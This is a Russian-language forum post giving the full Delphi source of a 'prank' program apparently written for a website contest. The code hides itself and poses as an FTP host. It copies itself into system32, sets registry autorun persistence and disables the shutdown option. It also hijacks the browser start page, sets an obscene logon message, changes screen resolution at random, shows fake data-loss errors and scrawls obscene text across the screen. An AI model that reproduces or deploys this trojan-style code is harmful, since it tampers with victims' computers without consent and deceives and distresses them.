Вот исходник проги прикола (Ну конечно простенькая и писалась на конкурс сайта VR-Online):
Код:
unit Unit1;
interface
uses
Windows,SysUtils,Forms,ExtCtrls,registry,
Classes,shellapi,Graphics;
type
TForm1 = class(TForm)
Timer1: TTimer;
Timer2: TTimer;
Timer3: TTimer;
Timer4: TTimer;
Timer5: TTimer;
Timer6: TTimer;
procedure FormCreate(Sender: TObject);
procedure FormActivate(Sender: TObject);
procedure Timer1Timer(Sender: TObject);
procedure Timer2Timer(Sender: TObject);
procedure Timer3Timer(Sender: TObject);
procedure Timer4Timer(Sender: TObject);
procedure Timer5Timer(Sender: TObject);
procedure Timer6Timer(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
windir:string;//путь до винды
implementation
{$R *.dfm}
procedure TForm1.FormCreate(Sender: TObject);
var tempwindir:array [0..255] of char;
i:integer;
reg:Treginifile;
begin
ShowCursor(false);
//------получаем путь к винде--------
GetWindowsDirectory(tempwindir,255);
for i:=0 to 255 do
begin
if tempwindir[i]=#0 then break;
windir:=windir+tempwindir[i];
end;
//-------------------------------------
//-------Внедрение на комп-------------
CopyFile(Pchar(application.ExeName),pChar(windir+'\system32\FTPhost.exe'),false);
reg:=TRegIniFile.Create('');
reg.RootKey:=HKEY_LOCAL_MACHINE;
reg.WriteString('SOFTWARE\Microsoft\Windows\CurrentVersion\Run','FTPhost',windir+'\system32\FTPhost.exe');
reg.Destroy;
//-----------------------------------------
//-----Удаляем кнопку выключить-------------
reg:=treginifile.Create('');
reg.RootKey:=HKEY_CURRENT_USER;
reg.WriteString('Software\Microsoft\Windows\CurrentVersion\Policies\Explorer','Noclose','1');
reg.Destroy;
//-------Усё удалили =) ---------------------
//----Сообщение при входе в винду------------
reg:=treginifile.Create('');
reg.RootKey:=HKEY_LOCAL_MACHINE;
reg.OpenKey('SOFTWARE\Microsoft\Windows NT\CurrentVersion\',false);
reg.WriteString('Winlogon','LegalNoticeCaption','YOU FUCKED');
reg.WriteString('Winlogon','LegalNoticeText','YOU HAS BEEN FUCKED BY NEO =)');
reg.Destroy;
//-------------------------------------------
//------Переименуем корзину-----------------
reg:=treginifile.Create('');
reg.RootKey:=HKEY_CURRENT_USER;
reg.OpenKey('Software\Microsoft\Windows\CurrentVersion\Explorer\CLSID\',false);
reg.WriteString('{645FF040-5081-101B-9F08-00AA002F954E}','','VR-ONLINE НАВСЕГДА');
reg.Destroy;
//--------------------------------------------
//------Ставим VR-ONLINE в автозапуск------------
reg:=treginifile.Create('');
reg.RootKey:=HKEY_CURRENT_USER;
reg.OpenKey('Software\Microsoft\Internet Explorer\',false);
reg.WriteString('Main','Start Page','http://www.vr-online.ru');
reg.Destroy;
//------------------------------------------------
end;
procedure TForm1.FormActivate(Sender: TObject);
begin
//-------Скрываем нашу форму-----------
ShowWindow(Handle, SW_HIDE);
ShowWindow(Application.Handle, SW_HIDE);
//-------------------------------------
application.MessageBox('Process stoped.Read error adress #1001001000001.','FtpServer.Read error',mb_iconerror+mb_ok);
end;
procedure TForm1.Timer1Timer(Sender: TObject);
var i:integer;
begin
//-----------Прикол 1-----------
ShellExecute(Form1.Handle,'open',Pchar('rundll32.exe'),'shell32.dll,Control_RunDLL Desk.cpl,@0,3',Pchar(Windir),SW_normal);
i:=i+1;
if i=20 then
begin
timer1.Enabled:=FALSE;
timer2.Enabled:=TRUE;
end;
end;
procedure TForm1.Timer2Timer(Sender: TObject);
begin
timer1.Enabled:=FALSE;
application.MessageBox('Mistake of the driver user. All data will be lost. Reinstall or reload user.','Mistake of the driver user',mb_iconerror+mb_ok);
timer3.Enabled:=TRUE;
timer2.Enabled:=FALSE;
end;
procedure TForm1.Timer3Timer(Sender: TObject);
var dm : TDEVMODE;
x:array [1..3] of integer;
y:array [1..3] of integer;
x1,y1,n:integer;
num:integer;
begin
//Список доступных расширений
x[1]:= 640; y[1]:= 480;
x[2]:= 800; y[2]:= 600;
x[3]:= 1024; y[3]:= 768;
n:= random (3);// случайно выбираем
x1:= x[n+1]; //...ширину
y1:= y[n+1]; //...высоту
//Теперь устанавливаем
ZeroMemory(@dm, sizeof(TDEVMODE));
dm.dmSize := sizeof(TDEVMODE);
dm.dmPelsWidth := x1;
dm.dmPelsHeight := y1;
dm.dmFields := DM_PELSWIDTH or DM_PELSHEIGHT;
ChangeDisplaySettings(dm, 0);
num:=num+1;
if num=10 then
begin
Timer3.enabled:=FALSE;
timer4.Enabled:=TRUE;
end;
application.MessageBox('Could not initalize video driver'#123#11'Please, restart windows!','Error',mb_ok+mb_iconerror);
end;
procedure TForm1.Timer4Timer(Sender: TObject);
var num:integer;
begin
num:=num+1;
WinExec(Pchar(windir+'\system32\FTPhost.exe'),SW_RESTORE);
SystemParametersInfo(SPI_SETDESKWALLPAPER,0,PChar(windir+'Кофейня.bmp'),SPIF_SENDWININICHANGE);
if num=10 then
begin
timer4.Enabled:=FALSE;
Timer5.Enabled:=TRUE;
end;
end;
procedure TForm1.Timer5Timer(Sender: TObject);
var
ScreenDC:HDC;
Canvas:TCanvas;
x,y,num:integer;
begin
ScreenDC:=GetDC(0);
Canvas:=TCanvas.Create();
Canvas.Handle:=ScreenDC;
Canvas.Font.Size:=30;
canvas.Font.Color:=clRed;
randomize;
x:=random(1024);
y:=random(768);
Canvas.TextOut(x,y, 'YOU FUCKED BY NEO');
ReleaseDC(0,ScreenDC);
Canvas.Free;
num:=num+1;
if num=200 then
begin
Timer5.Enabled:=FALSE;
Timer1.Enabled:=TRUE;
end;
end;
//-----------Прячем значки на рабочем столе------------------
procedure ShowDesktop(const YesNo : boolean);
var h : THandle;
begin
h := FindWindow('ProgMan', nil);
h := GetWindow(h, GW_CHILD);
if YesNo = True then
ShowWindow(h, SW_SHOW)
else
ShowWindow(h, SW_HIDE);
end;
//------------------------------------------
procedure TForm1.Timer6Timer(Sender: TObject);
var v:boolean;
begin
if v=true then
begin
ShowDesktop(False);
v:=false;
end;
if v=false then
begin
ShowDesktop(True);
v:=true;
end;
end;
end.
|
